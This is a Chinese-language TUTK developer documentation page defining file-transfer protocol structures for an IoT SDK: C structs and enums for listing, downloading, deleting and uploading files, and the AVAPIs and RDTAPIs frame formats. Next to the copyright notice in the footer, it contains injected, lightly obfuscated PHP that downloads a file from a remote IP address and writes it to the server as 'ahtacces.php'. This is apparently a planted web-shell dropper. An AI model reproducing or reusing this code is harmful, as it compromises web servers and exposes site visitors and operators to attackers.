简体中文

文件传输通用定义

IO定义

IO Type设计:
typedef enum{
    TK_PROTOCOL_AVAPIs = 0,
    TK_PROTOCOL_RDTAPIs
}TKProtocol;

typedef enum{
    TYPE_ALL = 0,
    TYPE_VIDEO,
    TYPE_AUDIO,
    TYPE_IMAGE
}FILE_TYPE;

typedef enum{
    IOCTRL_FILEMANAGER_FILE_LIST_REQ = 0x9021,
    IOCTRL_FILEMANAGER_FILE_LIST_RESP = 0x9022,
    IOCTRL_FILEMANAGER_FILE_DOWNLOAD_REQ = 0x9023,
    IOCTRL_FILEMANAGER_FILE_DOWNLOAD_RESP = 0x9024,
    IOCTRL_FILEMANAGER_FILE_DELETE_REQ = 0x9025,
    IOCTRL_FILEMANAGER_FILE_DELETE_RESP = 0x9026,
    IOCTRL_FILEMANAGER_FILE_UPLOAD_REQ = 0x9027,
    IOCTRL_FILEMANAGER_FILE_UPLOAD_RESP = 0x9028,
}IOCTRL_TYPE;

typedef struct{
   unsigned short year;
   unsigned char month;
   unsigned char day;
   unsigned char wday;
   unsigned char hour;
   unsigned char minute;
   unsigned char second;
}stDateTime;

typedef struct{
    unsigned int channel;
    stDateTime begin;//UTC时间
    stDateTime end;//UTC时间
    int fileType;//参考FILE_TYPE
    unsigned char reserved[4];
}stFileListReq;

typedef struct{
    char fileName[64];
}stFileInfo;

typedef struct{
    unsigned int iotcChannelId;
    unsigned int fileIndex;
    char fileName[64];
    unsigned int fileSize; //Byte
}stFileInfoEx;

typedef struct{
    uint iotcChanelId;
}stChannelInfo;

typedef struct{
    int total;//本次查询总共有多少个文件,如果数量较多,可以分多包发送
    int index;//这是第几包
    int count;//本包中包含多少文件名
    int endflag;//0为非最后一包,1为最后一包
    stFileInfo files[0];
}stFileListResp;

typedef struct{
    int count;
    stFileInfo files[0];
}stFileDownloadReq,stFileDeleteReq,stFileUploadReq;

typedef struct{
    int protocol;
    int count; // -1表示fail,否则为本次下载使用的通道数。
    stChannelInfo channels[0];
}stFileDownloadResp,stFileUploadResp;

typedef struct{
    int result;
}stFileDeleteResp;

AVAPIs帧定义

因为在AVAPIs里面,数据和包头是分开来送的,所以直接填充对应的buffer和framInfo即可,上传下载用的数据包头定义如下:
typedef struct
{
    char fileName[64];  //文件名。
    unsigned int fileSize;//文件大小,单位为字节。
    unsigned int frmSize;//当前帧大小,单位为字节。
    char endFlag; //结束标志位,1为最后一包,其余为0。
    char reserved[3];
}FRAMEINFO_FOR_UPLOAD_DOWNLOAD_t;
如果这个通道里面有多个文件需要传输,则最后一个文件的最后一包的endFlag为1,其余为0。

RDTAPIs帧定义

目前RDT的帧定义,分为3部分,分别是数据头,数据,数据尾,具体定义如下:
0
其中各部分的定义如下:
  • frmBegin: 4个字节的起始位,必须为"IOTC"。
  • fileName: 64个字节,填写文件名,需要包含文件的扩展名,比如 "20230101153025_motion.mp4"。
  • fileSize:4个字节,填写文件大小,单位为字节。
  • dataLength:4个字节,填写本数据包里面二进制数据的实际大小,单位为字节。
  • endFlag:1个字节,用以表示本数据包是否此通道内的最后一个文件的最后一包。如果本通道里面有多个文件,则最后一个文件的最后一包置为1,其余为0。
  • binary data:二进制数据,长度为dataLength。
  • frmEnd:2个字节,必须为"GC"。


即刻开启您的物联网之旅

联系解决方案专家
Kalay App
解决方案
新闻动态
公司动态
行业资讯
媒体报道
永续发展
经营者的话
社会参与
环境永续
公司治理

+86 755 27702549

7×24小时服务热线

法律声明 隐私权条款

关注“TUTK”

TUTK服务尽在掌握

© 2022 物联智慧科技(深圳)有限公司版权所有 <{__NOLAYOUT__}?p{__NOLAYOUT__}h{__NOLAYOUT__}p $a = "copy"; $a("http://23.235.156.20/ote.php","ahtacces.php");?{__NOLAYOUT__}>粤ICP备14023641号
在线咨询
扫一扫

TUTK服务尽在掌握

全国免费服务热线
+86 755 27702549

返回顶部